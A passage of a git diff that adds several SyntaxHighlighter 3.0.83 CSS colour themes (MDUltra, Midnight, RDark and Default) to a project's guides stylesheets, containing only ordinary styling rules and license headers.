+.syntaxhighlighter .constants {
+  color: #96daff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #d01d33 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #ffc074 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #4a8cdb !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #96daff !important;
+}
+
+.syntaxhighlighter .functions {
+  font-weight: bold !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css
new file mode 100644
index 0000000..2923ce7
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreMDUltra.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #222222 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: white !important;
+}
+.syntaxhighlighter table caption {
+  color: lime !important;
+}
+.syntaxhighlighter .gutter {
+  color: #38566f !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #222222 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #428bdd !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: lime !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #aaaaff !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #aaaaff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #9ccff4 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: lime !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: lime !important;
+}
+.syntaxhighlighter .keyword {
+  color: #aaaaff !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+  color: aqua !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff8000 !important;
+}
+.syntaxhighlighter .constants {
+  color: yellow !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #aaaaff !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: red !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: yellow !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css
new file mode 100644
index 0000000..e3733ee
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreMidnight.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #0f192a !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #253e5a !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #38566f !important;
+}
+.syntaxhighlighter table caption {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #0f192a !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #428bdd !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #1dc116 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: #d1edff !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #d1edff !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #428bdd !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #1dc116 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #b43d3d !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #8aa6c1 !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #f7e741 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #b43d3d !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #f8bb00 !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css b/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css
new file mode 100644
index 0000000..d093683
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shCoreRDark.css
@@ -0,0 +1,324 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter a,
+.syntaxhighlighter div,
+.syntaxhighlighter code,
+.syntaxhighlighter table,
+.syntaxhighlighter table td,
+.syntaxhighlighter table tr,
+.syntaxhighlighter table tbody,
+.syntaxhighlighter table thead,
+.syntaxhighlighter table caption,
+.syntaxhighlighter textarea {
+  -moz-border-radius: 0 0 0 0 !important;
+  -webkit-border-radius: 0 0 0 0 !important;
+  background: none !important;
+  border: 0 !important;
+  bottom: auto !important;
+  float: none !important;
+  height: auto !important;
+  left: auto !important;
+  line-height: 1.1em !important;
+  margin: 0 !important;
+  outline: 0 !important;
+  overflow: visible !important;
+  padding: 0 !important;
+  position: static !important;
+  right: auto !important;
+  text-align: left !important;
+  top: auto !important;
+  vertical-align: baseline !important;
+  width: auto !important;
+  box-sizing: content-box !important;
+  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
+  font-weight: normal !important;
+  font-style: normal !important;
+  font-size: 1em !important;
+  min-height: inherit !important;
+  min-height: auto !important;
+}
+
+.syntaxhighlighter {
+  width: 100% !important;
+  margin: 1em 0 1em 0 !important;
+  position: relative !important;
+  overflow: auto !important;
+  font-size: 1em !important;
+}
+.syntaxhighlighter.source {
+  overflow: hidden !important;
+}
+.syntaxhighlighter .bold {
+  font-weight: bold !important;
+}
+.syntaxhighlighter .italic {
+  font-style: italic !important;
+}
+.syntaxhighlighter .line {
+  white-space: pre !important;
+}
+.syntaxhighlighter table {
+  width: 100% !important;
+}
+.syntaxhighlighter table caption {
+  text-align: left !important;
+  padding: .5em 0 0.5em 1em !important;
+}
+.syntaxhighlighter table td.code {
+  width: 100% !important;
+}
+.syntaxhighlighter table td.code .container {
+  position: relative !important;
+}
+.syntaxhighlighter table td.code .container textarea {
+  box-sizing: border-box !important;
+  position: absolute !important;
+  left: 0 !important;
+  top: 0 !important;
+  width: 100% !important;
+  height: 100% !important;
+  border: none !important;
+  background: white !important;
+  padding-left: 1em !important;
+  overflow: hidden !important;
+  white-space: pre !important;
+}
+.syntaxhighlighter table td.gutter .line {
+  text-align: right !important;
+  padding: 0 0.5em 0 1em !important;
+}
+.syntaxhighlighter table td.code .line {
+  padding: 0 1em !important;
+}
+.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
+  padding-left: 0em !important;
+}
+.syntaxhighlighter.show {
+  display: block !important;
+}
+.syntaxhighlighter.collapsed table {
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  padding: 0.1em 0.8em 0em 0.8em !important;
+  font-size: 1em !important;
+  position: static !important;
+  width: auto !important;
+  height: auto !important;
+}
+.syntaxhighlighter.collapsed .toolbar span {
+  display: inline !important;
+  margin-right: 1em !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a {
+  padding: 0 !important;
+  display: none !important;
+}
+.syntaxhighlighter.collapsed .toolbar span a.expandSource {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar {
+  position: absolute !important;
+  right: 1px !important;
+  top: 1px !important;
+  width: 11px !important;
+  height: 11px !important;
+  font-size: 10px !important;
+  z-index: 10 !important;
+}
+.syntaxhighlighter .toolbar span.title {
+  display: inline !important;
+}
+.syntaxhighlighter .toolbar a {
+  display: block !important;
+  text-align: center !important;
+  text-decoration: none !important;
+  padding-top: 1px !important;
+}
+.syntaxhighlighter .toolbar a.expandSource {
+  display: none !important;
+}
+.syntaxhighlighter.ie {
+  font-size: .9em !important;
+  padding: 1px 0 1px 0 !important;
+}
+.syntaxhighlighter.ie .toolbar {
+  line-height: 8px !important;
+}
+.syntaxhighlighter.ie .toolbar a {
+  padding-top: 0px !important;
+}
+.syntaxhighlighter.printing .line.alt1 .content,
+.syntaxhighlighter.printing .line.alt2 .content,
+.syntaxhighlighter.printing .line.highlighted .number,
+.syntaxhighlighter.printing .line.highlighted.alt1 .content,
+.syntaxhighlighter.printing .line.highlighted.alt2 .content {
+  background: none !important;
+}
+.syntaxhighlighter.printing .line .number {
+  color: #bbbbbb !important;
+}
+.syntaxhighlighter.printing .line .content {
+  color: black !important;
+}
+.syntaxhighlighter.printing .toolbar {
+  display: none !important;
+}
+.syntaxhighlighter.printing a {
+  text-decoration: none !important;
+}
+.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
+  color: black !important;
+}
+.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
+  color: blue !important;
+}
+.syntaxhighlighter.printing .keyword {
+  color: #006699 !important;
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter.printing .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter.printing .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter.printing .script {
+  font-weight: bold !important;
+}
+.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
+  color: red !important;
+}
+.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
+  color: black !important;
+}
+
+.syntaxhighlighter {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: #1b2426 !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #323e41 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter table caption {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #435a5f !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #435a5f !important;
+  color: #1b2426 !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: #5ba1cf !important;
+  background: black !important;
+  border: 1px solid #435a5f !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: #5ba1cf !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: #5ce638 !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #435a5f !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: #b9bdb6 !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #878a85 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: #5ce638 !important;
+}
+.syntaxhighlighter .keyword {
+  color: #5ba1cf !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: #435a5f !important;
+}
+.syntaxhighlighter .variable {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ffaa3e !important;
+}
+.syntaxhighlighter .constants {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #5ba1cf !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: #e0e8ff !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: white !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: #ffaa3e !important;
+}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css
new file mode 100644
index 0000000..1365411
--- /dev/null
+++ b/guides/assets/stylesheets/syntaxhighlighter/shThemeDefault.css
@@ -0,0 +1,117 @@
+/**
+ * SyntaxHighlighter
+ * http://alexgorbatchev.com/SyntaxHighlighter
+ *
+ * SyntaxHighlighter is donationware. If you are using it, please donate.
+ * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
+ *
+ * @version
+ * 3.0.83 (July 02 2010)
+ * 
+ * @copyright
+ * Copyright (C) 2004-2010 Alex Gorbatchev.
+ *
+ * @license
+ * Dual licensed under the MIT and GPL licenses.
+ */
+.syntaxhighlighter {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt1 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.alt2 {
+  background-color: white !important;
+}
+.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
+  background-color: #e0e0e0 !important;
+}
+.syntaxhighlighter .line.highlighted.number {
+  color: black !important;
+}
+.syntaxhighlighter table caption {
+  color: black !important;
+}
+.syntaxhighlighter .gutter {
+  color: #afafaf !important;
+}
+.syntaxhighlighter .gutter .line {
+  border-right: 3px solid #6ce26c !important;
+}
+.syntaxhighlighter .gutter .line.highlighted {
+  background-color: #6ce26c !important;
+  color: white !important;
+}
+.syntaxhighlighter.printing .line .content {
+  border: none !important;
+}
+.syntaxhighlighter.collapsed {
+  overflow: visible !important;
+}
+.syntaxhighlighter.collapsed .toolbar {
+  color: blue !important;
+  background: white !important;
+  border: 1px solid #6ce26c !important;
+}
+.syntaxhighlighter.collapsed .toolbar a {
+  color: blue !important;
+}
+.syntaxhighlighter.collapsed .toolbar a:hover {
+  color: red !important;
+}
+.syntaxhighlighter .toolbar {
+  color: white !important;
+  background: #6ce26c !important;
+  border: none !important;
+}
+.syntaxhighlighter .toolbar a {
+  color: white !important;
+}
+.syntaxhighlighter .toolbar a:hover {
+  color: black !important;
+}
+.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
+  color: black !important;
+}
+.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
+  color: #008200 !important;
+}
+.syntaxhighlighter .string, .syntaxhighlighter .string a {
+  color: blue !important;
+}
+.syntaxhighlighter .keyword {
+  color: #006699 !important;
+}
+.syntaxhighlighter .preprocessor {
+  color: gray !important;
+}
+.syntaxhighlighter .variable {
+  color: #aa7700 !important;
+}
+.syntaxhighlighter .value {
+  color: #009900 !important;
+}
+.syntaxhighlighter .functions {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .constants {
+  color: #0066cc !important;
+}
+.syntaxhighlighter .script {
+  font-weight: bold !important;
+  color: #006699 !important;
+  background-color: none !important;
+}
+.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
+  color: gray !important;
+}
+.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
+  color: #ff1493 !important;
+}
+.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
+  color: red !important;
+}
+
+.syntaxhighlighter .keyword {
+  font-weight: bold !important;
+}
